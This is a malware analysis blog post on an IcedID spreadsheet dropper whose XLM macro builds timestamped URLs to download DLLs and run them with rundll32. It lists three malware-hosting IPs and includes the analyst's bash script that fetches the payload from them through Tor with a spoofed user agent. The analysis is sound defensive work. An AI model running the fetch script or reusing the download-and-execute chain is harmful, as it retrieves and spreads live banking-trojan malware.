TL;DR – XLM sample for IcedID delivery is using the NOW() macro function and non-volatility to possibly make the analysis difficult.
While looking for the latest trends on MalwareBazaar yesterday, I found IcedID was becoming the most seen malware family. I decided to take a look into the XLM and DLL submissions. IcedID is a sophisticated banking Trojan which steals bank and other financial credentials.

I started with XLM presuming that it will be quick one, but ended up down a rabbit hole of Excel functionality, which, in retrospect, was unnecessary. I have looked at several XLM samples in the past year due to its increasing popularity for malware delivery. The usage of XLM for malware has progressively become complicated, although that was not the case in this instance. The samples I analyzed prior to this were heavily obfuscated and I had to rewrite some parts of macro code to get to the final readable code. In some cases, openly available tools like XLMMacroDeobfuscator help but I prefer manual analysis over tools, to have more control over execution and lest the tool misses some aspect of the vital code flow. On the contrary, the most this sample did was hid the sheets and cells containing the code and used a white foreground for the font.



So looking at the above it seemed trivial. I changed the font colour and doubted it to be this easy.

Now, one thing to note here that I never use the privileges and resources I have from my job to do analysis for this blog. Additionally, I only use OSINT and whatever is freely available so that the person reading this blog can follow along. So I looked at any.run and JoeSandbox for this sample and their analyses confirms the IP addresses used to download the next stage payload.

Macro Behaviour
Now, looking at the macro we can extrapolate the following:
- It registers URLDownloadToFileA API call from Urlmon.dll with a custom name Belandes using REGISTER function.
- Concatenates strings using CONCATENATE function with 3 parameters:
- Beginning of the URL with protocol and one of the 3 IP addresses.
- Current date and time using NOW().
- The trailing .dat extension.
- Uses the URLs generated from #2 and custom name from #1 to download the payload and save them with names Hodas.vyur(1|2)?
- Execute the downloaded payload(s), which are actually DLLs by using rundll32.exe by calling PluginInit function.
Pretty straightforward! More details about the XLM functions mentioned above can be found here.
Here comes the trouble
Trouble began when I could not find the payload (SHA: 44ba785fae6504144f4f98069aadda5ebd6f6f7f96fde1714c34863b1cd0e0b6) from the usual sites I depend on to download samples. Hence, I decided to download it manually using the URLs. Precisely the issue was with #2.2 from above. The NOW function returned the date in the format which is unusual, at least for me.

As usual I turned to Microsoft documentation for more details on this format. These were the remarks in the support document here.
- Excel stores dates as sequential serial numbers so that they can be used in calculations. By default, January 1, 1900 is serial number 1, and January 1, 2008 is serial number 39448 because it is 39,447 days after January 1, 1900. - Numbers to the right of the decimal point in the serial number represent the time; numbers to the left represent the date. For example, the serial number 0.5 represents the time 12:00 noon.
Looked like the server from which the payload is requested requires the current time in the URL path for it to be downloaded. This could mean that some evasion is implemented in this sample.
- The sample will not download if the URL does not have the correct time.
- Potentially checking for the timezone to serve the content. (aka geo-fencing)
I got excited since finding and circumventing evasion is my favourite part of analyzing malware. This also meant that I would have to script the fetching of the second stage.
Problem #1
Here’s my first stab at calculating days:
start=`date -d "1900-01-01" +%s` # Excel counts date from Jan 1 1900
now=`date +%s`
diff=$((now-start))
days=$(($diff/86400)) # Just count days (60*60*24) = 86400

This does not match up with the number of days we saw earlier in the image: “Step Into”. This is 2 days less than what we saw.
After a lot of googling I came across this.
Microsoft Excel incorrectly assumes that the year 1900 is a leap year. This article explains why the year 1900 is treated as a leap year, and outlines the behaviors that may occur if this specific issue is corrected.
Of course there is some esoteric functionality I was dealing with from Excel. Nevertheless, here is an article on some date systems in Excel. Our problem could be fixed by adding 2 days to the final number. Also, calculations of seconds elapsed from midnight can be incorporated in the same script. The final product looks like this.
#!/bin/bash
start=`date -d "1900-01-01" +%s` # Excel counts date from Jan 1 1900
now=`date +%s`
diff=$((now-start))
days=$(($diff/86400+2)) # Just count days (60*60*24) = 86400
midnight=$(date -d "$today 0" +%s) # Start counting seconds from midnight
seconds=$((now - midnight))
sec=$(echo "scale=10;$seconds/86400" | bc | cut -d "." -f 2)
# Create URLs
IP=("45.150.67.243" "195.123.210.186" "91.211.89.28")
# Get'em
torify wget --user-agent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.2)" http://${IP[$1]}/${days},${sec}.dat
Good so far? But no! I was still unable to download the second stage DLL. I also incorporated the user-agent to avoid any evasion of that kind.
Problem #2
So I went back and forth to see if I missed something. Then I checked the any.run execution again. And I noticed something odd.

The execution date and the timestamp in the URL, from the image: “Any.run URL”, does not match up. As per the submission date, the day in the URL should be 44287, however it was 44285. I stepped into the code from the original sample and what do I see? Same timestamp from the any.run.

After more searching in the Microsoft docs, I found out a performance improvement feature of Excel. Turns out Excel saves the state of the cell to speed up execution, more details here. Now, the above value will change once the code is run after the first time. This derailed my analysis as all my assumptions about timestamp and geo-fence evasions were wrong. The CONCATENATE cell was merely evaluating to the first time the Worksheet was created, which was March, 30 2021.
Conclusion
Excel 4.0 (XLM) macro is already a legacy feature, on top of that some applications and operating systems provide backward compatibility for old features and retain previous bugs intact because “the disadvantages of doing so outweigh the advantages.” This increases the attack surface for the threat actors as security products and analysts are keeping up with the latest bugs while old features like these can cause more long-term harm as we are observing with XLM. I guess it will always be hard to balance security vs usability.
Happy Ending?
After wasting a lot of time on this activity I switched to take a look into the IcedID DLL (SHA: 0bfbe59ac91d909de8ef5d3899409bf34dc7636972a6e65154cab44c85a8adee). And, why am I not surprised, it has the same export as the one rundll32.exe was calling.
